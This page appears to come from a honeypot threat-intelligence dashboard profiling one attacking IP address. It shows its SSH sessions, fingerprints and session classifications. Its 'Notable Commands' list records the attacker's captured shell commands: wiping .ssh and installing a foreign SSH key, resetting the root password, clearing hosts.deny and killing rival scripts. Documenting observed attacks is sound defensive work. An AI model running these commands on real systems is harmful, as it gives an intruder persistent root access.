← Back to feed
Location
🇨🇳 CN
ASN
AS137718 · Beijing Volcano Engine Technology Co., Ltd.
Cloud Provider
—
Total Events
321
Above average by volume
Agent Count
2
First / Last Seen
2026-06-16 15:50 — 2026-07-28 03:49
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
44 (17 with login)
Avg Depth Score
0.41
Commands Executed
41
Files Downloaded
10
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:uSrusGiW7iup"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
589c83c36d79
15%
Loading events...
Scanner
2372c390bd0e
15%
Loading events...
SSH-2.0-libssh_0.9.6
Malware Dropper
d90a81322d48
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
1d1fe11db78b
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
d92348ec5600
LOGIN
17
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:uSrusGiW7iup"|chpasswd|bash
Opportunistic Bruter
935933d08825
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
30a344df9cd9
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
a0f2c7125cfc
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
39c30276e719
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
9aea779083fa
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
4ba20acc6fad
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
162bbf04437c
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
1cdb47229bc4
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
403564be555d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
417877861a7c
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
68f818cd9dd9
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
7380d60a7354
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
5c2a46607fa2
15%
Loading events...
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
d36e263518df
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
f4cc52e6a668
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…